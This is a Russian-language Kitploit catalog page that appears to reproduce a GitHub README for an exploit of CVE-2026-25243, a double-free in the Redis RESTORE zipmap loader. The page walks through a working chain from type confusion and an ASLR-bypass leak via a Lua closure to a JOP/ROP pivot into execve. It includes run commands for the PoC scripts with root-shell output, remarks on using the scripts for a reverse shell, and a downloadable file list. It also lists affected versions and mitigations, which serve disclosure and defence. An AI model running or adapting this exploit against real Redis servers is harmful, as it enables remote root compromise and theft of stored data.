Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-25243 — CVE-2026-25243 — Redis RESTORE zipmap double-free → удаленное выполнение кода (ASLR включен). | Kitploit
Инструменты/GitHubGitHub/dinosn/cve-2026-25243
Криминалистика памятиАнализ уязвимостейЭксплуатацияОбратная инженерияТестирование на ПроникновениеИнструмент Удаленного ДоступаРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubdinosn/cve-2026-25243

CVE-2026-25243

CVE-2026-25243 — Redis RESTORE zipmap double-free → удаленное выполнение кода (ASLR включен).

Репозиторий
1342 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-25243 — Redis RESTORE zipmap двойное освобождение → удаленное выполнение кода

Кратко. Некорректная полезная нагрузка DUMP, переданная в RESTORE, вызывает двойное освобождение кучи в загрузчике устаревшего hash-zipmap в Redis. При использовании jemalloc по умолчанию двойное освобождение происходит тихо (сервер продолжает работу), что превращает его в управляемый примитив type-confusion. В этом репозитории цепочка доведена до удаленного выполнения кода с включенным ASLR — рабочий процесс Redis вызывает system("<строка атакующего>") и продолжает обслуживание. Не DoS.

root@kitploit:~
# default Redis (DEBUG disabled), ASLR on — the most self-contained exploit (NO libc offsets):
$ python3 exploits/poc_rce_aslr_pie_rop.py --cmd "id > /tmp/pwned_pie 2>&1"
[*] self-cal: blob_base=0x7f352d800009 blob_robj=0x7f353286b8d8 pie_base=0x557ea9149000  (NO libc)
[*] fake dictType F=0x7f352e013c36  g1=0x557ea93cca87 execve=0x557ea91cee80
$ cat /tmp/pwned_pie
uid=0(root) gid=0(root) groups=0(root),...    # <- execve("/bin/sh","-c",<cmd>) as the redis process

Утечка, обходящая ASLR, не использует DEBUG — она считывает адрес Lua C-замыкания redis.call (EVAL 'return tostring(redis.call)') — та же самодостаточная техника без DEBUG, что и в нашем предыдущем эксплойте для Redis. Затем blob_base/blob_robj и база PIE вычисляются во время выполнения из over-read (без фиксированного смещения). Финиш PIE-ROP вызывает execve@plt через JOP stack-pivot, поэтому не используется ни одного адреса libc — единственные константы, зависящие от сборки, — это относительные смещения гаджетов PIE, считываемые из бинарника redis-server, точно так же, как таблица гаджетов для каждой сборки в нашем предыдущем эксплойте HLL. Проверено: uid=0(root), ASLR включен, 8/8, на сервере с DEBUG, отключенным по умолчанию.

Предоставлены два финиша. poc_rce_aslr_pie_rop.py (выше) — самый самодостаточный — без libc, полностью самокалибрующийся — но execve заменяет рабочий процесс (используйте --cmd для обратного шелла; лучше всего для настоящего шелла). poc_rce_aslr_selfcal.py сохраняет рабочий процесс живым (system() создает дочерний процесс) ценой двух смещений версий libc. Выбирайте в зависимости от того, нужно ли, чтобы сервер продолжал работу.


Баг

RESTORE key 0 <полезная нагрузка DUMP> десериализует сериализованный объект. Для устаревшего типа RDB_TYPE_HASH_ZIPMAP (0x09) валидатор и конвертер расходятся во мнении, сколько байтов занимает поле длины:

  • zipmapValidateIntegrity() проходит с фактическим закодированным размером (5 для длинного префикса 0xFE);
  • zipmapNext() во время конверсии zipmap → listpack использует 1 байт для любой декодированной длины < 254.

Короткая длина, записанная в длинной 5-байтовой форме, проходит валидацию, но заставляет zipmapNext() сместиться на 4 байта неверно. Из того же неверного смещения вытекают два следствия: переполнение при чтении кучи (over-read) (zipmap.c) и, в Redis, двойное освобождение кучи в загрузчике hash-zipmap из rdb.c:

root@kitploit:~
sds field = sdstrynewlen(fstr, flen);
if (!field || dictAdd(dupSearchDict, field, NULL) != DICT_OK || !lpSafeToAdd(lp, flen + vlen)) {
    dictRelease(dupSearchDict);   // (1) dictAdd принял владение `field` -> освобождено здесь
    sdsfree(field);               // (2) освобождено СНОВА -> двойное освобождение

Valkey защищается от этого (if (!field_added) sdsfree(field)); в оригинальном Redis этого нет, поэтому двойное освобождение характерно только для Redis. Исправление отклоняет короткую длину в длинной кодировке и изменяет порядок проверок во время загрузки.

Цепочка эксплойта (Redis 8.6.2, x86-64, jemalloc, PIE/NX/partial-RELRO)

root@kitploit:~
тихое двойное освобождение  ->  наложение type-confusion  ->  произвольная подделка указателя
   ->  подделка  dict->type  хэш-таблицы на поддельный dictType
   ->  HGET hd "<поле>"   ==   dictFind -> type->hashFunction(поле)
      путь libc  (selfcal): hashFunction = &system            -> system("<команда>")   (рабочий процесс выживает)
      путь PIE   (pie_rop): hashFunction = JOP-pivot g1, поле = ROP-цепочка
                            -> leave;ret переносит rsp на поле
                            -> execve("/bin/sh","-c","<команда>")  через execve@plt        (без libc, без DEBUG)

Поддельный dictType размещается внутри 16-МБ строки (SETRANGE) по смещению, младшие байты адреса которого совпадают с заголовком sds строки атакующего. ASLR обходится полностью во время выполнения:

  • system — одна утечка указателя на кучу. Рекомендуемый путь — без DEBUG: адрес Lua C-замыкания redis.call (EVAL 'return tostring(redis.call)') — та же самодостаточная утечка, которую использует наш предыдущий эксплойт для Redis. Арены jemalloc находятся на постоянном смещении от libc, поэтому system = leaked_robj + Δlibc + system_off. (DEBUG OBJECT — это только удобство в лаборатории, когда скриптинг отключен, но DEBUG включен — более редкая конфигурация.)
  • адрес 16-МБ блоба (независимо рандомизированный mmap) — считывается с помощью собственного произвольного чтения бага: подделывается словарь SET так, чтобы его элемент был 107-КБ SDS типа SDS_TYPE_32, SMEMBERS считывает соседнюю кучу, и robj.ptr блоба считывается по известному смещению.

См. WRITEUP.md для полного примитив-за-примитивом анализа и деталей jemalloc / Redis-8.x (граница класса-64, тегирование записей словаря, mstr хэш-поля, предварительное расширение ключевого пространства).

Лаборатория

root@kitploit:~
docker build -t cve-2026-25243 .
# stock (jemalloc) demo — DoS-or-not? shows the type confusion (no tooling):
docker run --rm -p 6379:6379 cve-2026-25243

# full chain — DEFAULT config (DEBUG disabled), the recommended exploit:
sysctl -w kernel.randomize_va_space=2            # ASLR ON
redis-server &                                   # DEBUG is off by default
python3 exploits/poc_rce_aslr_selfcal.py --host 127.0.0.1 --port 6379 --cmd "id > /tmp/pwned 2>&1"

Утечка, обходящая ASLR (без DEBUG)

Загрузочная утечка указателя на кучу следует тому же подходу, что и наш предыдущий эксплойт для Redis: утечка адреса Lua C-замыкания redis.call с помощью EVAL 'return tostring(redis.call)'. Lua-скриптинг включен по умолчанию; DEBUG выключен по умолчанию (enable-debug-command no) — поэтому утечка Lua является реалистичным основным вариантом, а DEBUG OBJECT (poc_rce_aslr.py) — только лабораторное удобство. poc_rce_aslr_selfcal.py затем выводит blob_base и blob_robj во время выполнения из over-read (сканирует сигнатуру robj 16-МБ блоба), так что DLUA/DFOBJ должны быть приблизительными.

Для финиша через system переполнение при чтении в малой куче не содержит указателей на libc, поэтому libc не может быть вычислена автоматически — poc_rce_aslr_selfcal.py сохраняет два смещения версий libc (DLIBC, SYSTEM_OFF). Финиш poc_rce_aslr_pie_rop.py полностью устраняет эту зависимость: тот же over-read содержит указатели PIE (повторяющийся общий dictType), поэтому база PIE самокалибруется как most-common-PIE-value − DICTTYPE_OFF, и цепочка завершается execve@plt через JOP stack-pivot (mov rbp,rdi; call *0x8(rax) → leave;ret переносит rsp на управляемое атакующим поле HGET, которое является ROP-цепочкой execve("/bin/sh","-c",<команда>)). Единственные константы, зависящие от сборки, — это относительные смещения гаджетов PIE, считываемые из — извлекайте их для каждой цели с помощью /, точно так же, как наш предыдущий эксплойт HLL сопоставляет таблицу гаджетов с Build-ID ELF. Адреса libc не используются.

Снимки экрана

screenshots/05-pie-rop-libc-free.png (самокалибровка NO libc + uid=0, самый самодостаточный запуск), 01-rce-aslr-on.png (денежный снимок uid=0), 02-reliability.png (5/5), 03-exploit-chain.png (код), и 04-debug-free-selfcal.png (запуск system без DEBUG, с самокалибровкой на Redis по умолчанию).

Влияние и затронутые версии

  • Удаленно, без специальных привилегий. RESTORE — обычная команда — на неаутентифицированном/открытом Redis (без requirepass) любой подключенный клиент может ее выполнить; на экземпляре с аутентификацией — любой пользователь, которому ACL не запрещает -restore. Тот же профиль доступа, что и у команд структур данных, используемых в других RCE для Redis.
  • Подтверждено: тихое двойное освобождение кучи, type confusion, произвольное чтение памяти процесса (утечка информации, извлекающая ключи/секреты/указатели) и удаленное выполнение кода (этот репозиторий).
  • Затронуты: Redis < {6.2.22, 7.2.14, 7.4.9, 8.2.6, 8.4.3, 8.6.3} — т.е. 6.2.x до текущей 8.x; Valkey страдает только от DoS/over-read (его защита field_added блокирует двойное освобождение).

Смягчение

Обновитесь до исправленной версии. Если это невозможно: ограничьте RESTORE (ACL … -restore), никогда не выставляйте Redis без аутентификации и отключите DEBUG.


Авторизованное исследование безопасности, опубликовано для осведомленности защитников. Не запускайте против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

Скачать инструмент
файлчто демонстрирует
★ exploits/poc_rce_aslr_pie_rop.pyсамый самодостаточный — RCE на Redis по умолчанию (DEBUG выключен), НЕТ смещений libc; самокалибрует blob_base/blob_robj/pie_base; execve@plt через JOP-pivot (рабочий процесс заменяется). 8/8.
★ exploits/poc_rce_aslr_selfcal.pyрабочий процесс выживает — та же цепочка, но hashFunction=&system (форк); требует двух смещений версий libc (DLIBC/SYSTEM_OFF). Утечка Lua-замыкания, самокалибровка blob_base/blob_robj.
exploits/poc_rce_aslr_nodebug.pyбез DEBUG (утечка Lua), но с фиксированными смещениями (калибровка при включенном DEBUG)
exploits/poc_rce_aslr.pyлабораторный вариант: загрузочная утечка через DEBUG OBJECT (требует включенного DEBUG)
exploits/poc_rce_aslr_off.pyRCE с выключенным ASLR (калиброванные адреса)
exploits/poc_typeconfusion.pyдвойное освобождение → два ключа используют один буфер кучи (без инструментов)
exploits/poc_doublefree.pyдвойное освобождение (ASan: use-after-free в sdsfree)
exploits/poc_dos_overread.pyкраш из-за переполнения при чтении (ASan)
redis-server
ROPgadget
objdump